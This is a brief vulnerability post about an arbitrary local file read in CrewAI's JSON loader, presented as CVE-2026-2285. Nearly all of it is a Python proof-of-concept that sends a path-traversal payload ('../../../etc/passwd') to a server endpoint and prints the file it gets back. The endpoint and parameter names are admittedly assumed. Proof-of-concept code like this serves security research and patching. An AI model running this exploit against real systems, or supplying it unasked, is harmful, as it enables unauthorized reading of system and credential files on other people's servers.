CrewAI contains a arbitrary local file read vulnerability in the JSON loader tool that reads files without path validation, enabling access to files on the server.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-2285 (CrewAI Arbitrary Local File Read)
# This script demonstrates how a lack of path validation can lead to file reading.
import requests
def exploit_crewai_lfi(target_url, malicious_path):
"""
Exploit the JSON loader tool to read arbitrary files.
:param target_url: The URL of the CrewAI instance endpoint
:param malicious_path: The path to the file on the server (e.g., '../../../etc/passwd')
"""
# Assuming the vulnerable endpoint accepts a 'file_path' parameter or JSON body
payload = {
"file_path": malicious_path,
"action": "load_json"
}
try:
# Sending the malicious request
response = requests.post(target_url, json=payload)
if response.status_code == 200:
print(f"[+] Success! File content retrieved:")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
print(response.text)
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Example usage
target = "http://localhost:8000/api/load-json"
# Path traversal payload to read /etc/passwd on Linux
file_to_read = "../../../etc/passwd"
print(f"[*] Attempting to read {file_to_read} from {target}...")
exploit_crewai_lfi(target, file_to_read)